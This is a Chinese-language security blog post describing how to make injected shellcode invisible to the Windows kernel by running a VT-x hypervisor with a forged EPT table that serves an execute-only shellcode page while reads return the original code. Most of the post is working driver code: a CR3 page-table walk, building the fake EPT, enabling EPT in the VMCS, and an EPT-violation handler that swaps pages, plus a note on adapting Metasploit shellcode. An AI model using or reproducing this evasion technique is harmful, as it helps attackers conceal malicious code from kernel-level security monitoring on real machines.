上帝视角:shellcode无痕化【安全技术】

2022-03-27  本文已影响0人  H_00c8

前言

是否有一种方法可以让处在ring0的内核也无法探测到这段被加载到应用程序的内存呢?答案是有的。

在Windows操作系统的认知下,他所在的ring0是已经达到了最高权限,所以他可以俯视一切,并且可以欺骗一切,他欺骗应用程序独占4GB的内存,但是他没有想到是否有一种权限是高于他并且可以欺骗他。

当Windows开启虚拟化之后,整个操作系统跑在cpu给其设计的虚拟机上,为了能够更好的管理操作系统,衍生出了需要管理操作系统的权限,即host权限,因为当时在设计权限命名时可能没有虚拟化的概念,所以为了能够更好的表示其权限高于Windows操作系统的R0(guest权限),所以将其称之为R-1,也就是这里我所描述的上帝视角。和操作系统欺骗应用程序类似,处于R-1的host同样的可以欺骗Windows内核。

本篇文章将会通过内存隐匿的方式达到shellcode无痕化。

内存无痕化原理

为了简化内存虚拟化的实现,以及提升内存虚拟化的性能,Intel推出了EPT(Enhanced Page Table)技术,即在原有的页表基础上新增了EPT页表实现另一次映射。这样,GVA-GPA-HPA两次地址转换都由CPU硬件自动完成。

描述有点繁琐,简单介绍一下,由于开启了VT(虚拟化),所以Windows认为的物理地址需要经过root的EPT进行映射。

guest的虚拟内存转化为guest的物理内存,但这并不一定是真正的物理内存,需要经过EPT表进行转化到host的物理地址。

EPT表的具体转化方式类似于四级页表,具体详细内容可以百度搜索。

处在host权限的程序可以创建一张虚假的EPT传递给操作系统,当操作系统想要查找某一页内存时,我们返回其真正的内存页,担当需要执行这块内存时,通过EPT得到的是我们预先准备好的虚假内存。

所以出现了执行的代码与读出来的代码不一致的情况。

并且因特尔cpu允许内存页权限的完全可控化,也就是说这块内存可以只有执行权限,但是没有读写权限,这种畸形的内存页属性。

上帝模式的shellcode整体注入方式

首先是得到程序将会执行的一块内存地址,这块内存地址中是正常的代码,也就是写一个比较长的无用代码(类似于__asm{mov eax,eax})但是最好要长一些,防止覆盖。

得到这个函数的虚拟地址之后,通过IRP传递给R0,通过IRP执行的代码运行在程序内部,所以得到的虚拟地址可以通过pdbr指向的页表转化为真实的物理地址。

再在IRP中开启一个R0权限的线程,此线程用于开启VT虚拟化。

在开启VT虚拟化之前生成一张自定义的EPT表,这张表中将得到的物理地址内容拷贝出一份作为执行页面,并且假页面的内容根据需要注入shellcode,将物理地址内存所在页权限设置为只可读写。

当执行到shellcode所在内存时,由于没有执行权限,host将会接管操作系统,将页面替换为注入了shellcode的内存页面,并且将属性设置为只可以执行,当有程序读取这块内存时,又发生了异常,host将其页面修改为原始页面,并且属性设置为只可读写,以此往复,达到了读写与执行的分离。

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第一步应用程序创建一个垃圾函数

很简单,只需要编写一些废话代码就可以。类似于:



int testFun(){
        int a = 10;
        __asm{
                mov a,15
                mov eax,ebx
                mov ebx,eax
                mov eax,ebx
                mov ebx,eax
                mov eax,ebx
                mov ebx,eax
                mov eax,ebx
                mov ebx,eax
                ........
        }
        return a;
}

但是需要注意的是,需要关闭编译器自动转化内敛函数的开关,否则当编译器看到你这段代码不长,并且有极大优化空间,没有参数之类的情况时,将会自动将其以内敛函数的方式编译,当值此函数地址无法被调用。

在加载内核驱动之后传递IRP之后,执行此垃圾函数。

得到虚拟地址的物理地址

// 得到传入的ring3层虚拟地址
                        pOutAddress = (size_t*)MmGetSystemAddressForMdlSafe(pIrp->MdlAddress, NormalPagePriority);

                        RtlZeroMemory(&virtualAddress,sizeof(VIRTUAL_ADDRESS));
                        virtualAddress.ulVirtualAddress = *pOutAddress;

                        // 得到页目录指针物理地址
                        _asm{
                                mov eax,  cr3;
                                mov pdbr, eax;
                        }

                        // 映射为虚拟地址以便取值
                        RtlZeroMemory(&phyAddress,sizeof(PHYSICAL_ADDRESS));
                        phyAddress.LowPart = pdbr;
                        pPdbr = (PULONG)MmMapIoSpace(phyAddress, sizeof(PHYSICAL_ADDRESS), MmNonCached);
                        KdPrint(("pdbr = 0x%08X, 映射后的地址0x%p\n", pdbr, pPdbr));

                        // 定位页目录指针表并获取页目录表物理页地址
                        // ulDirAddress 为页目录表物理页地址
                        ulPointerIdx = virtualAddress.stVirtualAddress.dirPointer;
                        ulDirBaseAddress = pPdbr[ulPointerIdx];
                        ulDirBaseAddress &= 0xFFFFF000;                        // 中间物理地址

                        // 定位页表项
                        ulDirAddress = ulDirBaseAddress + virtualAddress.stVirtualAddress.dirIndex * 0x8;
                        phyAddress.LowPart = ulDirAddress;
                        pPageTable = (PULONG)MmMapIoSpace(phyAddress, sizeof(PHYSICAL_ADDRESS), MmNonCached);
                        ulPageTable = *pPageTable;
                        ulPageTable &= 0xFFFFF000;                                 // 中间物理地址

                        // 定位物理页面
                        ulPageTable += virtualAddress.stVirtualAddress.tableIndex * 0x8;
                        phyAddress.LowPart = ulPageTable;
                        pPageBase = (PULONG)MmMapIoSpace(phyAddress, sizeof(PHYSICAL_ADDRESS), MmNonCached);
                        ulPageBase = *pPageBase;
                        ulPageBase &= 0xFFFFF000;

                        // 得到物理地址
                        ulPhyAddress = ulPageBase + virtualAddress.stVirtualAddress.offset;

                        // 映射为虚拟地址,获取其值进行验证
                        phyAddress.LowPart = ulPhyAddress;
                        pPhyAddress = (PWCHAR)MmMapIoSpace(phyAddress, sizeof(PHYSICAL_ADDRESS), MmNonCached);
                        KdPrint(("虚拟地址:0x%08X, 对应物理地址:0x%08X", *pOutAddress, ulPhyAddress));

通过CR3寄存器得到页目录表页面的物理地址(pdbr),然后一级级寻址得到物理地址。

创建虚假的EPT表

ULONG64* MyEptInitialization()
{
    ULONG64 *ept_PDPT, *ept_PDT, *ept_PT;

        ULONG64 * create_page;
        PHYSICAL_ADDRESS create_page_PA;
    PHYSICAL_ADDRESS FirstPtePA, FirstPdePA, FirstPdptePA;
        ULONG deviation;//这个是函数地址对于函数页面地址的偏移

        int a, b, c;

        createCode();

    initEptPagesPool();
    ept_PML4T = AllocateOnePage();
    ept_PDPT = AllocateOnePage();
    FirstPdptePA = MmGetPhysicalAddress(ept_PDPT);
    *ept_PML4T = (FirstPdptePA.QuadPart) + 7;
    for (a = 0; a < 4; a++)
    {
        ept_PDT = AllocateOnePage();
        FirstPdePA = MmGetPhysicalAddress(ept_PDT);
        *ept_PDPT = (FirstPdePA.QuadPart) + 7;
        ept_PDPT++;
        for (b = 0; b < 512; b++)
        {
            ept_PT = AllocateOnePage();
            FirstPtePA = MmGetPhysicalAddress(ept_PT);
            *ept_PDT = (FirstPtePA.QuadPart) + 7;
            ept_PDT++;
            for (c = 0; c < 512; c++)
            {        
                *ept_PT  = ((a << 30) | (b << 21) | (c << 12) | 0x37) & 0xFFFFFFFF;
                if ((((a << 30) | (b << 21) | (c << 12) | 0x37) & 0xFFFFF000) == (origin_fun_pa & 0xFFFFF000))
                {
                                        RtlZeroMemory(&create_page_PA,sizeof(PHYSICAL_ADDRESS));
                                        create_page_PA.LowPart = origin_fun_pa & 0xFFFFF000;
                                        create_page = MmMapIoSpace(create_page_PA,PAGE_SIZE,MmNonCached);
                                        RtlZeroMemory(&origin_pa,sizeof(PHYSICAL_ADDRESS));
                                        origin_pa.LowPart = ((a << 30) | (b << 21) | (c << 12) | 0x37);
                                        deviation = origin_fun_pa - (origin_fun_pa & 0xFFFFF000);
                                        fake_mem = AllocateFakePage(create_page,deviation,code,codelength);
                                        hook_pa = MmGetPhysicalAddress(fake_mem);
                                        *ept_PT = (hook_pa.QuadPart | 0x34) & 0xFFFFFFFF;
                                        Log("fake_mem",fake_mem);
                                        Log("*ept_PT",*ept_PT);

                                        //__asm int 3;
                    hook_ept_pt = ept_PT;
                }
                ept_PT++;
            }
        }
    }

    return ept_PML4T;
}

具体操作方式和创建一个四级页表很相似,但是需要注意的是,将垃圾函数所在的物理内存页属性设置为只可读写不可执行。

开启VT虚拟化

此过程稍许复杂,类似于Windows窗口注册的方式,所以只简单介绍需要填充EPT的字段。

EPT填充在虚拟化的guest控制域中

    Vmx_VmWrite(CPU_BASED_VM_EXEC_CONTROL, VmxAdjustControls(0x80000000, MSR_IA32_VMX_PROCBASED_CTLS));
    Vmx_VmWrite(EPT_POINTER, (EPTP | 6 | (3 << 3)) & 0xFFFFFFFF);
    Vmx_VmWrite(EPT_POINTER_HIGH, (EPTP | 6 | (3 << 3)) >> 32);
    Vmx_VmWrite(EPT_POINTER_HIGH, EPTP >> 32);
    Vmx_VmWrite(SECONDARY_VM_EXEC_CONTROL, VmxAdjustControls(0x2, MSR_IA32_VMX_PROCBASED_CTLS2));

打开EPT开关,传入自己的EPT表地址,通过高低32位的方式填充。

捕获FP异常

void HandleEPT()
{
        ULONG                ExitQualification;

    ExitQualification = Vmx_VmRead(EXIT_QUALIFICATION) ;
        if(ExitQualification & 3){
                //read write
                Log("EPT read",0);
                *hook_ept_pt = ((origin_pa.LowPart & 0xFFFFF000) | 0x33);
                //*hook_ept_pt = ((hook_pa.LowPart & 0xFFFFF000) | 0x33);
        }else{
                //exec
                Log("EPT EXEC",0);
                *hook_ept_pt = ((hook_pa.LowPart & 0xFFFFF000) | 0x34);
        }

}

此处可以看到,页面异常时将虚假页面和真正页面的替换过程

3代表可读写(11),4代表可执行(100),7代表可读写执行(111)

和linux的chmod权限设置方式相同。

shellcode

shellcode需要注意的是,最好使用push addr,ret的方式进行函数跳转,防止因为绝对地址带来的干扰问题。

效果展示

image

可以看到,这里od读取的内存时原本正常的代码内容

按下回车再次执行垃圾函数。

image

此时虽然内存展示是原本函数,但是执行的却是弹出了MessageBox(由于push的type类型是0,xp上面显示的就是这个样子)。

注意

由于内存读写执行的分离,当时用msf类型的shellcode时,需要分离读写,将写与执行在一起,保证shellcode更改自身可以成功写入到注入了shellcode的内存

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